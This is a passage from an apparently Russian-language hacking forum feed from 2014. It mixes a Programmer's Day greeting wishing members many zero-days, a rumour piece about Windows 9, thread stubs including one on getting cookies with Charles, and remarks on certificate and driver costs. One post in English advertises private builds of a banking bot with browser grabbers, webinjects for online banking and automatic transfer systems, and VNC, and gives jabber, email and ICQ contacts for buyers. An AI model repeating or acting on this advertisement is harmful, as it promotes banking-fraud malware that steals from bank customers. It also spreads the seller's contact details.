2) использование сертификатов (опять же затратно, да не дай бог отзовут, тогда опять плати);
3) использование драйверов (опять же из-за затратности на сертификат, потому что современная винда не хавает левые драйвера).

День ПрОгРаМмИсТа

Neo — Fri, 03 Oct 2014 13:46:26 GMT

Ребят,всех вас поздравляю с днём программиста! Желаю всем счастья,программ без багов, чтобы каждый находил по столько zday,на сколько это возможно!
Чтобы всегда было что почавкать и пиво рядом с компом

Windows 9 появится уже в следующем месяце

Anton93 — Fri, 03 Oct 2014 13:39:30 GMT

Предварительная (Preview) версия новой операционной системы Microsoft появится этой осенью, а ее финальный вариант — в апреле следующего года.

Сообщается, что новая версия Windows с кодовым названием Threshold, скорее всего, получит финальное имя Windows 9. Команда разработчиков активно работает над готовящимся релизом уже несколько последних месяцев. OEM-партнеры уже получали ранние сборки Windows 9, однако публичный (доступный всем) релиз системы ожидается в сентябре-октябре.

Источники утверждают, что в Preview-версии системы, вероятно, будет отсутствовать ряд функций, которые будут доработаны уже к финальному релизу системы. Пользователи бета-версии системы будут автоматически получать обновления Windows 9.

Существующие ранние билды Windows 9 уже включают мини-меню «Пуск», виртуальные рабочие столы и голосового помощника Cortana. А меню Charms, всплывающие при наведении указателя мыши к краям в десктопном режиме, здесь отсутствуют.

Ранее Microsoft признала тот факт, что Windows 8.x не смогла понравиться «консервативным» владельцам обычных компьютеров, и большинство их до сих пор использует уже устаревающую Windows 7. Чтобы инициировать более активный переход на Windows 9 (Threshold), софтверный гигант планирует предложить бесплатное обновление на нее с Windows 7 SP1. Это очень серьезный шаг. Напомним, что возможность бесплатного перехода с Windows 7 на Windows 8 была лишь у небольшого количества пользователей (тех, кто покупал ПК в «переходный» период).

Ну и пара скринов

Windows 8.1 - стоит ли переходить?

Slash — Tue, 09 Sep 2014 23:49:34 GMT

Форум: Свободное общение
Описание темы: С 7 на 8.1
Автор темы: Slash
Автор последнего сообщения: XSPY
Количество ответов: 3

Можно ли узнать cookies с помощью Charles?

vitalka-vitalkin — Wed, 03 Sep 2014 23:17:05 GMT

Форум: Свободное общение
Описание темы: Можно ли узнать cookies с помощью Charles?
Автор темы: vitalka-vitalkin
Автор последнего сообщения: 1download
Количество ответов: 1

I offer private bot builds

johnalden — Mon, 01 Sep 2014 08:19:22 GMT

Hello all.
I offer private bot builds.
Bot support lastest ie ff chrome versions grabber, and lastest ie ff webinjects (most imporant things for work with eBanking, ATS etc).
VNC avalible.
If u want know any additional infos buzz me in messengers, i will explain.
Ask me any more infos in jabber.
I can show and proofs, test etc before. Escrow welcome.

Contacts:
jabber - tapor@jabber.se
email - Alden8152184@gmail.com
icq - 576704759

Панель управления DelfCode.Ru

dolphin — Fri, 22 Aug 2014 13:29:16 GMT

Многие хотели видеть как выглядит "админка" DelfCode.Ru 5 дней в неделю она выглядит так.)
Доступно только для пользователей
Доступно только для пользователей